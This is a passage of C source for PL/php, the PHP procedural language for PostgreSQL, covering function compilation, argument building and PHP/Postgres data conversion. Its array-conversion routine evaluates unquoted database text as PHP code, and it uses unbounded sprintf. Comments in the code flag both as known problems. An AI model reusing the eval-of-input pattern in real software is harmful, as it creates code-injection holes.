argnames[i], i);\n\t\t\t\t}\n\t\t\t\tif ((prodesc->arg_argmode[i] == PROARGMODE_OUT ||\n\t\t\t\t\t prodesc->arg_argmode[i] == PROARGMODE_INOUT) && !prodesc->retset)\n\t\t\t\t{\n\t\t\t\t\t/* Initialiazation for OUT arguments aliases */\n\t\t\t\t\tif (!out_return_str)\n\t\t\t\t\t{\n\t\t\t\t\t\t/* Generate return statment for a single OUT argument */\n\t\t\t\t\t\tout_return_str = palloc(NAMEDATALEN + 32);\n\t\t\t\t\t\tif (prodesc->n_out_args + prodesc->n_mixed_args == 1)\n\t\t\t\t\t\t\tsnprintf(out_return_str, NAMEDATALEN + 32,\n\t\t\t\t\t\t\t\t\t \"return $args[%d];\", i);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t/* PL/PHP deals with multiple OUT arguments by\n\t\t\t\t\t\t\t * internally creating an array of references to them.\n\t\t\t\t\t\t\t * E.g. out_fn(a out integer, b out integer )\n\t\t\t\t\t\t\t * translates into:\n\t\t\t\t\t\t\t * $_plphp_ret_out_fn_1234=array(a => $&a,b => $&b);\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\tchar plphp_ret_array_name[NAMEDATALEN + 16];\n\n\t\t\t\t\t\t\tint array_namelen = snprintf(plphp_ret_array_name,\n\t\t\t\t\t\t\t \t\t\t\t\t\t \t NAMEDATALEN + 16,\n\t\t\t\t\t\t\t\t\t \t\t\t\t \t \"_plphp_ret_%s\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t \t internal_proname);\n\n\t\t\t\t\t\t\tsnprintf(out_return_str, array_namelen + 16,\n\t\t\t\t\t\t\t\t\t\"return $%s;\", plphp_ret_array_name);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t/* 2 NAMEDATALEN for argument names, additional\n\t\t\t\t\t\t\t * 16 bytes per each argument for assignment string,\n\t\t\t\t\t\t\t * additional 16 bytes for the 'array' prefix string.\n\t\t\t\t\t\t\t */\t\t\n\t\t\t\t\t\t\tout_aliases = palloc(array_namelen +\n\t\t\t\t\t\t\t\t\t\t\t\t (prodesc->n_out_args + \n\t\t\t\t\t\t\t\t\t\t\t\t  prodesc->n_mixed_args) *\n\t\t\t\t\t\t\t\t\t\t\t\t (2*NAMEDATALEN + 16) + 16);\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tout_str_end = snprintf(out_aliases,\n\t\t\t\t\t\t\t \t\t\t\t\t   array_namelen +\n\t\t\t\t\t\t\t\t\t\t\t\t   (2 * NAMEDATALEN + 16) + 16,\n\t\t\t\t\t\t\t\t\t\t\t\t   \"$%s = array(&$args[%d]\", \n\t\t\t\t\t\t\t\t\t\t\t\t   plphp_ret_array_name, i);\n\t\t\t\t\t\t\t\t\t\t\t\t   \n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t\telse if (out_aliases)\n\t\t\t\t\t{\n\t\t\t\t\t   /* Add new elements to the array of aliases for OUT args */\n\t\t\t\t\t\tAssert(prodesc->n_out_args + prodesc->n_mixed_args > 1);\n\t\t\t\t\t\tout_str_end += snprintf(out_aliases+out_str_end,\n\t\t\t\t\t\t\t\t\t\t\t\t2 * NAMEDATALEN + 16,\n\t\t\t\t\t\t\t\t\t\t\t\t\",&$args[%d]\", i);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (aliases)\n\t\t\t\tstrcat(aliases, \" \");\n\t\t\tif (out_aliases)\n\t\t\t\tstrcat(out_aliases, \")\");\n\t\t}\n\n\t\t/*\n\t\t * Create the text of the PHP function.  We do not use the same\n\t\t * function name, because that would prevent function overloading.\n\t\t * Sadly this also prevents PL/php functions from calling each other\n\t\t * easily.\n\t\t */\n\t\tprosrcdatum = SysCacheGetAttr(PROCOID, procTup,\n\t\t\t\t\t\t\t\t\t  Anum_pg_proc_prosrc, &isnull);\n\t\tif (isnull)\n\t\t\telog(ERROR, \"cache lookup yielded NULL prosrc\");\n\n\t\tproc_source = DatumGetCString(DirectFunctionCall1(textout,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t  prosrcdatum));\n\n\t\t/* Create the procedure in the interpreter */\n\t\tcomplete_proc_source =\n\t\t\t(char *) palloc(strlen(proc_source) +\n\t\t\t\t\t\t\tstrlen(internal_proname) +\n\t\t\t\t\t\t\t(aliases ? strlen(aliases) : 0) + \n\t\t\t\t\t\t\t(out_aliases ? strlen(out_aliases) : 0) +\n\t\t\t\t\t\t\tstrlen(\"function  ($args, $argc){ } \") + 32 +\n\t\t\t\t\t\t\t(out_return_str ? strlen(out_return_str) : 0));\n\n\t\t/* XXX Is this usage of sprintf safe? */\n\t\tif (is_trigger)\n\t\t\tsprintf(complete_proc_source, \"function %s($_TD){%s}\",\n\t\t\t\t\tinternal_proname, proc_source);\n\t\telse\n\t\t\tsprintf(complete_proc_source, \n\t\t\t\t\t\"function %s($args, $argc){%s %s;%s; %s}\",\n\t\t\t\t\tinternal_proname, \n\t\t\t\t\taliases ? aliases : \"\",\n\t\t\t\t\tout_aliases ? out_aliases : \"\",\n\t\t\t\t\tproc_source, \n\t\t\t\t\tout_return_str? out_return_str : \"\");\n\t\t\t\t\t\n\t\telog(LOG, \"complete_proc_source = %s\",\n\t\t\t\t \t complete_proc_source);\n\t\t\t\t\n\t\tzend_hash_del(CG(function_table), prodesc->proname,\n\t\t\t\t\t  strlen(prodesc->proname) + 1);\n\n\t\tpointer = (char *) palloc(64);\n\t\tsprintf(pointer, \"%p\", (void *) prodesc);\n\t\tadd_assoc_string(plphp_proc_array, internal_proname,\n\t\t\t\t\t\t (char *) pointer, 1);\n\n\t\tif (zend_eval_string(complete_proc_source, NULL,\n\t\t\t\t\t\t\t \"plphp function source\" TSRMLS_CC) == FAILURE)\n\t\t{\n\t\t\t/* the next compilation will blow it up */\n\t\t\tprodesc->fn_xmin = InvalidTransactionId;\n\t\t\telog(ERROR, \"unable to compile function \\\"%s\\\"\",\n\t\t\t\t\t   prodesc->proname);\n\t\t}\n\n\t\tif (aliases)\n\t\t\tpfree(aliases);\n\t\tif (out_aliases)\n\t\t\tpfree(out_aliases);\n\t\tif (out_return_str)\n\t\t\tpfree(out_return_str);\n\t\tpfree(complete_proc_source);\n\t}\n\n\tReleaseSysCache(procTup);\n\n\treturn prodesc;\n}\n\n/*\n * plphp_func_build_args\n * \t\tBuild a PHP array representing the arguments to the function\n */\nstatic zval *\nplphp_func_build_args(plphp_proc_desc *desc, FunctionCallInfo fcinfo TSRMLS_DC)\n{\n\tzval\t   *retval;\n\tint\t\t\ti,j;\n\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\t/* \n\t * The first var iterates over every argument, the second one - over the \n\t * IN or INOUT ones only\n\t */\n\tfor (i = 0, j = 0; i < desc->n_total_args; \n\t\t (j = IS_ARGMODE_OUT(desc->arg_argmode[i]) ? j : j + 1), i++)\n\t{\n\t\t/* Assing NULLs to OUT or TABLE arguments initially */\n\t\tif (IS_ARGMODE_OUT(desc->arg_argmode[i]))\n\t\t{\n\t\t\tadd_next_index_unset(retval);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (desc->arg_typtype[i] == TYPTYPE_PSEUDO)\n\t\t{\n\t\t\tHeapTuple\ttypeTup;\n\t\t\tForm_pg_type typeStruct;\n\n\t\t\ttypeTup = SearchSysCache(TYPEOID,\n\t\t\t\t\t\t\t\t\t ObjectIdGetDatum(get_fn_expr_argtype\n\t\t\t\t\t\t\t\t\t\t\t\t\t  (fcinfo->flinfo, j)),\n\t\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\t\ttypeStruct = (Form_pg_type) GETSTRUCT(typeTup);\n\t\t\tperm_fmgr_info(typeStruct->typoutput,\n\t\t\t\t\t\t   &(desc->arg_out_func[i]));\n\t\t\tdesc->arg_typioparam[i] = typeStruct->typelem;\n\t\t\tReleaseSysCache(typeTup);\n\t\t}\n\n\t\tif (desc->arg_typtype[i] == TYPTYPE_COMPOSITE)\n\t\t{\n\t\t\tif (fcinfo->argnull[j])\n\t\t\t\tadd_next_index_unset(retval);\n\t\t\telse\n\t\t\t{\n\t\t\t\tHeapTupleHeader\ttd;\n\t\t\t\tOid\t\t\t\ttupType;\n\t\t\t\tint32\t\t\ttupTypmod;\n\t\t\t\tTupleDesc\t\ttupdesc;\n\t\t\t\tHeapTupleData\ttmptup;\n\t\t\t\tzval\t\t   *hashref;\n\n\t\t\t\ttd = DatumGetHeapTupleHeader(fcinfo->arg[j]);\n\n\t\t\t\t/* Build a temporary HeapTuple control structure */\n\t\t\t\ttmptup.t_len = HeapTupleHeaderGetDatumLength(td);\n\t\t\t\ttmptup.t_data = DatumGetHeapTupleHeader(fcinfo->arg[j]);\n\n\t\t\t\t/* Extract rowtype info and find a tupdesc */\n\t\t\t\ttupType = HeapTupleHeaderGetTypeId(tmptup.t_data);\n\t\t\t\ttupTypmod = HeapTupleHeaderGetTypMod(tmptup.t_data);\n\t\t\t\ttupdesc = lookup_rowtype_tupdesc(tupType, tupTypmod);\n\n\t\t\t\t/* Build the PHP hash */\n\t\t\t\thashref = plphp_build_tuple_argument(&tmptup, tupdesc);\n\t\t\t\tzend_hash_next_index_insert(retval->value.ht,\n\t\t\t\t\t\t\t\t\t\t\t(void *) &hashref,\n\t\t\t\t\t\t\t\t\t\t\tsizeof(zval *), NULL);\n\t\t\t\t/* Finally release the acquired tupledesc */\n\t\t\t\tReleaseTupleDesc(tupdesc);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (fcinfo->argnull[j])\n\t\t\t\tadd_next_index_unset(retval);\n\t\t\telse\n\t\t\t{\n\t\t\t\tchar\t   *tmp;\n\n\t\t\t\t/*\n\t\t\t\t * TODO room for improvement here: instead of going through the\n\t\t\t\t * output function, figure out if we can just use the native\n\t\t\t\t * representation to pass to PHP.\n\t\t\t\t */\n\n\t\t\t\ttmp =\n\t\t\t\t\tDatumGetCString(FunctionCall3\n\t\t\t\t\t\t\t\t\t(&(desc->arg_out_func[i]),\n\t\t\t\t\t\t\t\t\t fcinfo->arg[j],\n\t\t\t\t\t\t\t\t\t ObjectIdGetDatum(desc->arg_typioparam[i]),\n\t\t\t\t\t\t\t\t\t Int32GetDatum(-1)));\n\t\t\t\t/*\n\t\t\t\t * FIXME -- this is bogus.  Not every value starting with { is\n\t\t\t\t * an array.  Figure out a better method for detecting arrays.\n\t\t\t\t */\n\t\t\t\tif (tmp[0] == '{')\n\t\t\t\t{\n\t\t\t\t\tzval\t   *hashref;\n\n\t\t\t\t\thashref = plphp_convert_from_pg_array(tmp TSRMLS_CC);\n\t\t\t\t\tzend_hash_next_index_insert(retval->value.ht,\n\t\t\t\t\t\t\t\t\t\t\t\t(void *) &hashref,\n\t\t\t\t\t\t\t\t\t\t\t\tsizeof(zval *), NULL);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tadd_next_index_string(retval, tmp, 1);\n\n\t\t\t\t/*\n\t\t\t\t * FIXME - figure out which parameters are passed by\n\t\t\t\t * reference and need freeing\n\t\t\t\t */\n\t\t\t\t/* pfree(tmp); */\n\t\t\t}\n\t\t}\n\t}\n\n\treturn retval;\n}\n\n/*\n * plphp_call_php_func\n * \t\tBuild the function argument array and call the PHP function.\n *\n * We use a private PHP symbol table, so that we can easily destroy everything\n * used during the execution of the function.  We use it to collect the\n * arguments' zvals as well.  We exclude the return value, because it will be\n * used by the caller -- it must be freed there!\n */\nstatic zval *\nplphp_call_php_func(plphp_proc_desc *desc, FunctionCallInfo fcinfo TSRMLS_DC)\n{\n\tzval\t   *retval;\n\tzval\t   *args;\n\tzval\t   *argc;\n\tzval\t   *funcname;\n\tzval\t  **params[2];\n\tchar\t\tcall[64];\n\tHashTable  *orig_symbol_table;\n\tHashTable  *symbol_table;\n\n\tREPORT_PHP_MEMUSAGE(\"going to build function args\");\n\n\tALLOC_HASHTABLE(symbol_table);\n\tzend_hash_init(symbol_table, 0, NULL, ZVAL_PTR_DTOR, 0);\n\n\t/*\n\t * Build the function arguments.  Save a pointer to each new zval in our\n\t * private symbol table, so that we can clean up easily later.\n\t */\n\targs = plphp_func_build_args(desc, fcinfo TSRMLS_CC);\n\tzend_hash_update(symbol_table, \"args\", strlen(\"args\") + 1,\n\t\t\t\t\t (void *) &args, sizeof(zval *), NULL);\n\n\tREPORT_PHP_MEMUSAGE(\"args built. Now the rest ...\");\n\n\tMAKE_STD_ZVAL(argc);\n\tZVAL_LONG(argc, desc->n_total_args);\n\tzend_hash_update(symbol_table, \"argc\", strlen(\"argc\") + 1,\n\t\t\t\t\t (void *) &argc, sizeof(zval *), NULL);\n\n\tparams[0] = &args;\n\tparams[1] = &argc;\n\n\t/* Build the internal function name, and save for later cleaning */\n\tsprintf(call, \"plphp_proc_%u\", fcinfo->flinfo->fn_oid);\n\tMAKE_STD_ZVAL(funcname);\n\tZVAL_STRING(funcname, call, 1);\n\tzend_hash_update(symbol_table, \"funcname\", strlen(\"funcname\") + 1,\n\t\t\t\t\t (void *) &funcname, sizeof(zval *), NULL);\n\n\tREPORT_PHP_MEMUSAGE(\"going to call the function\");\n\n\torig_symbol_table = EG(active_symbol_table);\n\tEG(active_symbol_table) = symbol_table;\n\n\tsaved_symbol_table = EG(active_symbol_table);\n\n\t/* XXX: why no_separation param is 1 is this call ? */\n\tif (call_user_function_ex(CG(function_table), NULL, funcname, &retval,\n\t\t\t\t\t\t\t  2, params, 1, symbol_table TSRMLS_CC) == FAILURE)\n\t\telog(ERROR, \"could not call function \\\"%s\\\"\", call);\n\n\tREPORT_PHP_MEMUSAGE(\"going to free some vars\");\n\n\tsaved_symbol_table = NULL;\n\n\t/* Return to the original symbol table, and clean our private one */\n\tEG(active_symbol_table) = orig_symbol_table;\n\tzend_hash_clean(symbol_table);\n\n\tREPORT_PHP_MEMUSAGE(\"function call done\");\n\n\treturn retval;\n}\n\n/*\n * plphp_call_php_trig\n * \t\tBuild trigger argument array and call the PHP function as a\n * \t\ttrigger.\n *\n * Note we don't need to change the symbol table here like we do in\n * plphp_call_php_func, because we do manual cleaning of each zval used.\n */\nstatic zval *\nplphp_call_php_trig(plphp_proc_desc *desc, FunctionCallInfo fcinfo,\n\t\t\t\t\tzval *trigdata TSRMLS_DC)\n{\n\tzval\t   *retval;\n\tzval\t   *funcname;\n\tchar\t\tcall[64];\n\tzval\t  **params[1];\n\n\tparams[0] = &trigdata;\n\n\t/* Build the internal function name, and save for later cleaning */\n\tsprintf(call, \"plphp_proc_%u_trigger\", fcinfo->flinfo->fn_oid);\n\tMAKE_STD_ZVAL(funcname);\n\tZVAL_STRING(funcname, call, 0);\n\n\t/*\n\t * HACK: mark trigdata as a reference, so it won't be copied in\n\t * call_user_function_ex.  This way the user function will be able to \n\t * modify it, in order to change NEW.\n\t */\n\tZ_SET_ISREF_P(trigdata);\n\n\tif (call_user_function_ex(CG(function_table), NULL, funcname, &retval,\n\t\t\t\t\t\t\t  1, params, 1, NULL TSRMLS_CC) == FAILURE)\n\t\telog(ERROR, \"could not call function \\\"%s\\\"\", call);\n\n\tFREE_ZVAL(funcname);\n\n\t/* Return to the original state */\n\tZ_UNSET_ISREF_P(trigdata);\n\n\treturn retval;\n}\n\n/*\n * plphp_error_cb\n *\n * A callback for PHP error handling.  This is called when the php_error or\n * zend_error function is invoked in our code.  Ideally this function should\n * clean up the PHP state after an ERROR, but zend_try blocks do not seem\n * to work as I'd expect.  So for now, we degrade the error to WARNING and \n * continue executing in the hope that the system doesn't crash later.\n *\n * Note that we do clean up some PHP state by hand but it doesn't seem to\n * work as expected either.\n */\nvoid\nplphp_error_cb(int type, const char *filename, const uint lineno,\n\t   \t\t   const char *fmt, va_list args)\n{\n\tchar\tstr[1024];\n\tint\t\televel;\n\n\tvsnprintf(str, 1024, fmt, args);\n\n\t/*\n\t * PHP error classification is a bitmask, so this conversion is a bit\n\t * bogus.  However, most calls to php_error() use a single bit.\n\t * Whenever more than one is used, we will default to ERROR, so this is\n\t * safe, if a bit excessive.\n\t *\n\t * XXX -- I wonder whether we should promote the WARNINGs to errors as\n\t * well.  PHP has a really stupid way of continuing execution in presence\n\t * of severe problems that I don't see why we should maintain.\n\t */\n\tswitch (type)\n\t{\n\t\tcase E_ERROR:\n\t\tcase E_CORE_ERROR:\n\t\tcase E_COMPILE_ERROR:\n\t\tcase E_USER_ERROR:\n\t\tcase E_PARSE:\n\t\t\televel = ERROR;\n\t\t\tbreak;\n\t\tcase E_WARNING:\n\t\tcase E_CORE_WARNING:\n\t\tcase E_COMPILE_WARNING:\n\t\tcase E_USER_WARNING:\n\t\tcase E_STRICT:\n\t\t\televel = WARNING;\n\t\t\tbreak;\n\t\tcase E_NOTICE:\n\t\tcase E_USER_NOTICE:\n\t\t\televel = NOTICE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\televel = ERROR;\n\t\t\tbreak;\n\t}\n\n\tREPORT_PHP_MEMUSAGE(\"reporting error\");\n\n\t/*\n\t * If this is a severe problem, we need to make PHP aware of it, so first\n\t * save the error message and then bail out of the PHP block.  With luck,\n\t * this will be trapped by a zend_try/zend_catch block outwards in PL/php\n\t * code, which would translate it to a Postgres elog(ERROR), leaving\n\t * everything in a consistent state.\n\t *\n\t * For this to work, there must be a try/catch block covering every place\n\t * where PHP may raise an error!\n\t */\n\tif (elevel >= ERROR)\n\t{\n\t\tif (lineno != 0)\n\t\t{\n\t\t\tchar\tmsgline[1024];\n\t\t\tsnprintf(msgline, sizeof(msgline), \"%s at line %d\", str, lineno);\n\t\t\terror_msg = pstrdup(msgline);\n\t\t}\n\t\telse\n\t\t\terror_msg = pstrdup(str);\n\n\t\tzend_bailout();\n\t}\n\n\tereport(elevel,\n\t\t\t(errmsg(\"plphp: %s\", str)));\n}\n\n/* Check if the name can be a valid PHP variable name */\nstatic bool \nis_valid_php_identifier(char *name)\n{\n\tint \tlen,\n\t\t\ti;\n\t\n\tAssert(name);\n\n\tlen = strlen(name);\n\n\t/* Should start from the letter */\n\tif (!isalpha(name[0]))\n\t\treturn false;\n\tfor (i = 1; i < len; i++)\n\t{\n\t\t/* Only letters, digits and underscores are allowed */\n\t\tif (!isalpha(name[i]) && !isdigit(name[i]) && name[i] != '_')\n\t\t\treturn false;\n\t}\n\treturn true;\n}\n\n/*\n * vim:ts=4:sw=4:cino=(0\n */\n", "plphp_io.c": "/**********************************************************************\n * plphp_io.c\n *\n * Support functions for PL/php -- mainly functions to convert stuff\n * from the PHP representation to PostgreSQL representation and vice\n * versa, either text or binary representations.\n *\n * $Id$\n *\n **********************************************************************/\n\n#include \"postgres.h\"\n#include \"plphp_io.h\"\n\n#include \"catalog/pg_type.h\"\n#include \"executor/spi.h\"\n#include \"funcapi.h\"\n#include \"lib/stringinfo.h\"\n#include \"utils/lsyscache.h\"\n#include \"utils/rel.h\"\n#include \"utils/syscache.h\"\n#include \"utils/memutils.h\"\n#include \"access/htup_details.h\"\n\n/*\n * plphp_zval_from_tuple\n *\t\t Build a PHP hash from a tuple.\n */\nzval *\nplphp_zval_from_tuple(HeapTuple tuple, TupleDesc tupdesc)\n{\n\tint\t\t\ti;\n\tchar\t   *attname = NULL;\n\tzval\t   *array;\n\n\tMAKE_STD_ZVAL(array);\n\tarray_init(array);\n\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\tchar *attdata;\n\n\t\t/* Get the attribute name */\n\t\tattname = tupdesc->attrs[i]->attname.data;\n\n\t\t/* and get its value */\n\t\tif ((attdata = SPI_getvalue(tuple, tupdesc, i + 1)) != NULL)\n\t\t{\n\t\t\t/* \"true\" means strdup the string */\n\t\t\tadd_assoc_string(array, attname, attdata, true);\n\t\t\tpfree(attdata);\n\t\t}\n\t\telse\n\t\t\tadd_assoc_null(array, attname);\n\t}\n\treturn array;\n}\n\n/*\n * plphp_htup_from_zval\n * \t\tBuild a HeapTuple from a zval (which must be an array) and a TupleDesc.\n *\n * The return HeapTuple is allocated in the current memory context and must\n * be freed by the caller.\n *\n * If zval doesn't contain any of the element names from the TupleDesc,\n * build a tuple from the first N elements. This allows us to accept\n * arrays in form array(1,2,3) as the result of functions with OUT arguments.\n * XXX -- possible optimization: keep the memory context created and only\n * reset it between calls.\n */\nHeapTuple\nplphp_htup_from_zval(zval *val, TupleDesc tupdesc)\n{\n\tMemoryContext\toldcxt;\n\tMemoryContext\ttmpcxt;\n\tHeapTuple\t\tret;\n\tAttInMetadata  *attinmeta;\n\tHashPosition\tpos;\n\tzval\t\t  **element;\n\tchar\t\t  **values;\n\tint\t\t\t\ti;\n\tbool\t\t\tallempty = true;\n\n\ttmpcxt = AllocSetContextCreate(TopTransactionContext,\n\t\t\t\t\t\t\t\t   \"htup_from_zval cxt\",\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MINSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_INITSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MAXSIZE);\n\toldcxt = MemoryContextSwitchTo(tmpcxt);\n\n\tvalues = (char **) palloc(tupdesc->natts * sizeof(char *));\n\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\tchar   *key = SPI_fname(tupdesc, i + 1);\n\t\tzval   *scalarval = plphp_array_get_elem(val, key);\n\n\t\tvalues[i] = plphp_zval_get_cstring(scalarval, true, true);\n\t\t/* \n\t\t * Reset the flag is even one of the keys actually exists,\n\t\t * even if it is NULL.\n\t\t */\n\t\tif (scalarval != NULL)\n\t\t\tallempty = false;\n\t}\n\t/* None of the names from the tuple exists,\n\t * try to get 1st N array elements and assign them to the tuple\n\t */\n\tif (allempty)\n\t\tfor (i = 0, \n\t\t\t zend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(val), &pos);\n\t\t\t (zend_hash_get_current_data_ex(Z_ARRVAL_P(val), \n\t\t\t\t\t\t\t\t\t\t   (void **) &element,\n\t\t\t\t\t\t\t\t\t\t\t&pos) == SUCCESS) && \n\t\t\t(i < tupdesc->natts);\n\t\t\tzend_hash_move_forward_ex(Z_ARRVAL_P(val), &pos), i++)\n\t\t\tvalues[i] = plphp_zval_get_cstring(element[0], true, true);\n\n\tattinmeta = TupleDescGetAttInMetadata(tupdesc);\n\n\tMemoryContextSwitchTo(oldcxt);\n\tret = BuildTupleFromCStrings(attinmeta, values);\n\n\tMemoryContextDelete(tmpcxt);\n\n\treturn ret;\n}\n\n\n/* plphp_srf_htup_from_zval\n * \t\tBuild a tuple from a zval and a TupleDesc, for a SRF.\n *\n * Like above, but we don't use the names of the array attributes;\n * rather we build the tuple in order.  Also, we get a MemoryContext\n * from the caller and just clean it at return, rather than building it each\n * time.\n */\nHeapTuple\nplphp_srf_htup_from_zval(zval *val, AttInMetadata *attinmeta,\n\t\t\t\t\t\t MemoryContext cxt)\n{\n\tMemoryContext\toldcxt;\n\tHeapTuple\t\tret;\n\tHashPosition\tpos;\n\tchar\t\t  **values;\n\tzval\t\t  **element;\n\tint\t\t\t\ti = 0;\n\n\toldcxt = MemoryContextSwitchTo(cxt);\n\n\t/*\n\t * Use palloc0 to initialize values to NULL, just in case the user does\n\t * not pass all needed attributes\n\t */\n\tvalues = (char **) palloc0(attinmeta->tupdesc->natts * sizeof(char *));\n\n\t/*\n\t * If the input zval is an array, build a tuple using each element as an\n\t * attribute.  Exception: if the return tuple has a single element and\n\t * it's an array type, use the whole array as a single value.\n\t *\n\t * If the input zval is a scalar, use it as an element directly.\n\t */\n\tif (Z_TYPE_P(val) == IS_ARRAY)\n\t{\n\t\tif (attinmeta->tupdesc->natts == 1)\n\t\t{\n\t\t\t/* Is it an array? */\n\t\t\tif (attinmeta->tupdesc->attrs[0]->attndims != 0 ||\n\t\t\t\t!OidIsValid(get_element_type(attinmeta->tupdesc->attrs[0]->atttypid)))\n\t\t\t{\n\t\t\t\tzend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(val), &pos);\n\t\t\t\tzend_hash_get_current_data_ex(Z_ARRVAL_P(val),\n\t\t\t\t\t\t\t\t\t\t\t  (void **) &element,\n\t\t\t\t\t\t\t\t\t\t\t  &pos);\n\t\t\t\tvalues[0] = plphp_zval_get_cstring(element[0], true, true);\n\t\t\t}\n\t\t\telse\n\t\t\t\tvalues[0] = plphp_zval_get_cstring(val, true, true);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*\n\t\t\t * Ok, it's an array and the return tuple has more than one\n\t\t\t * attribute, so scan each array element.\n\t\t\t */\n\t\t\tfor (zend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(val), &pos);\n\t\t\t\t zend_hash_get_current_data_ex(Z_ARRVAL_P(val),\n\t\t\t\t\t\t\t\t\t\t\t   (void **) &element,\n\t\t\t\t\t\t\t\t\t\t\t   &pos) == SUCCESS;\n\t\t\t\t zend_hash_move_forward_ex(Z_ARRVAL_P(val), &pos))\n\t\t\t{\n\t\t\t\t/* avoid overrunning the palloc'ed chunk */\n\t\t\t\tif (i >= attinmeta->tupdesc->natts)\n\t\t\t\t{\n\t\t\t\t\telog(WARNING, \"more elements in array than attributes in return type\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tvalues[i++] = plphp_zval_get_cstring(element[0], true, true);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* The passed zval is not an array -- use as the only attribute */\n\t\tif (attinmeta->tupdesc->natts != 1)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errmsg(\"returned array does not correspond to \"\n\t\t\t\t\t\t\t\"declared return value\")));\n\n\t\tvalues[0] = plphp_zval_get_cstring(val, true, true);\n\t}\n\n\tMemoryContextSwitchTo(oldcxt);\n\n\tret = BuildTupleFromCStrings(attinmeta, values);\n\n\tMemoryContextReset(cxt);\n\n\treturn ret;\n}\n\n/*\n * plphp_convert_to_pg_array\n * \t\tConvert a zval into a Postgres text array representation.\n *\n * The return value is palloc'ed in the current memory context and\n * must be freed by the caller.\n */\nchar *\nplphp_convert_to_pg_array(zval *array)\n{\n\tint\t\t\tarr_size;\n\tzval\t  **element;\n\tint\t\t\ti = 0;\n\tHashPosition \tpos;\n\tStringInfoData\tstr;\n\t\n\tinitStringInfo(&str);\n\n\tarr_size = zend_hash_num_elements(Z_ARRVAL_P(array));\n\n\tappendStringInfoChar(&str, '{');\n\tif (Z_TYPE_P(array) == IS_ARRAY)\n\t{\n\t\tfor (zend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(array), &pos);\n\t\t\t zend_hash_get_current_data_ex(Z_ARRVAL_P(array),\n\t\t\t\t\t\t\t\t\t\t   (void **) &element,\n\t\t\t\t\t\t\t\t\t\t   &pos) == SUCCESS;\n\t\t\t zend_hash_move_forward_ex(Z_ARRVAL_P(array), &pos))\n\t\t{\n\t\t\tchar *tmp;\n\n\t\t\tswitch (Z_TYPE_P(element[0]))\n\t\t\t{\n\t\t\t\tcase IS_LONG:\n\t\t\t\t\tappendStringInfo(&str, \"%li\", element[0]->value.lval);\n\t\t\t\t\tbreak;\n\t\t\t\tcase IS_DOUBLE:\n\t\t\t\t\tappendStringInfo(&str, \"%f\", element[0]->value.dval);\n\t\t\t\t\tbreak;\n\t\t\t\tcase IS_STRING:\n\t\t\t\t\tappendStringInfo(&str, \"\\\"%s\\\"\", element[0]->value.str.val);\n\t\t\t\t\tbreak;\n\t\t\t\tcase IS_ARRAY:\n\t\t\t\t\ttmp = plphp_convert_to_pg_array(element[0]);\n\t\t\t\t\tappendStringInfo(&str, \"%s\", tmp);\n\t\t\t\t\tpfree(tmp);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\telog(ERROR, \"unrecognized element type %d\",\n\t\t\t\t\t\t Z_TYPE_P(element[0]));\n\t\t\t}\n\n\t\t\tif (i != arr_size - 1)\n\t\t\t\tappendStringInfoChar(&str, ',');\n\t\t\ti++;\n\t\t}\n\t}\n\n\tappendStringInfoChar(&str, '}');\n\n\treturn str.data;\n}\n\n/*\n * plphp_convert_from_pg_array\n * \t\tConvert a Postgres text array representation to a PHP array\n * \t\t(zval type thing).\n *\n * FIXME -- does not work if there are embedded {'s in the input value.\n *\n * FIXME -- does not correctly quote/dequote the values\n */\nzval *\nplphp_convert_from_pg_array(char *input TSRMLS_DC)\n{\n\tzval\t   *retval = NULL;\n\tint\t\t\ti;\n\tStringInfoData str;\n\t\n\tinitStringInfo(&str);\n\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\tfor (i = 0; i < strlen(input); i++)\n\t{\n\t\tif (input[i] == '{')\n\t\t\tappendStringInfoString(&str, \"array(\");\n\t\telse if (input[i] == '}')\n\t\t\tappendStringInfoChar(&str, ')');\n\t\telse\n\t\t\tappendStringInfoChar(&str, input[i]);\n\t}\n\tappendStringInfoChar(&str, ';');\n\n\tif (zend_eval_string(str.data, retval,\n\t\t\t\t\t\t \"plphp array input parameter\" TSRMLS_CC) == FAILURE)\n\t\telog(ERROR, \"plphp: convert to internal representation failure\");\n\n\tpfree(str.data);\n\n\treturn retval;\n}\n\n/*\n * plphp_array_get_elem\n * \t\tReturn a pointer to the array element with the given key\n */\nzval *\nplphp_array_get_elem(zval *array, char *key)\n{\n\tzval\t  **element;\n\n\tif (!array)\n\t\telog(ERROR, \"passed zval is not a valid pointer\");\n\tif (Z_TYPE_P(array) != IS_ARRAY)\n\t\telog(ERROR, \"passed zval is not an array\");\n\n\tif (zend_symtable_find(array->value.ht,\n\t\t\t\t\t   \t   key,\n\t\t\t\t\t       strlen(key) + 1,\n\t\t\t\t\t       (void **) &element) != SUCCESS)\n\t\treturn NULL;\n\n\treturn element[0];\n}\n\n/*\n * zval_get_cstring\n *\t\tGet a C-string 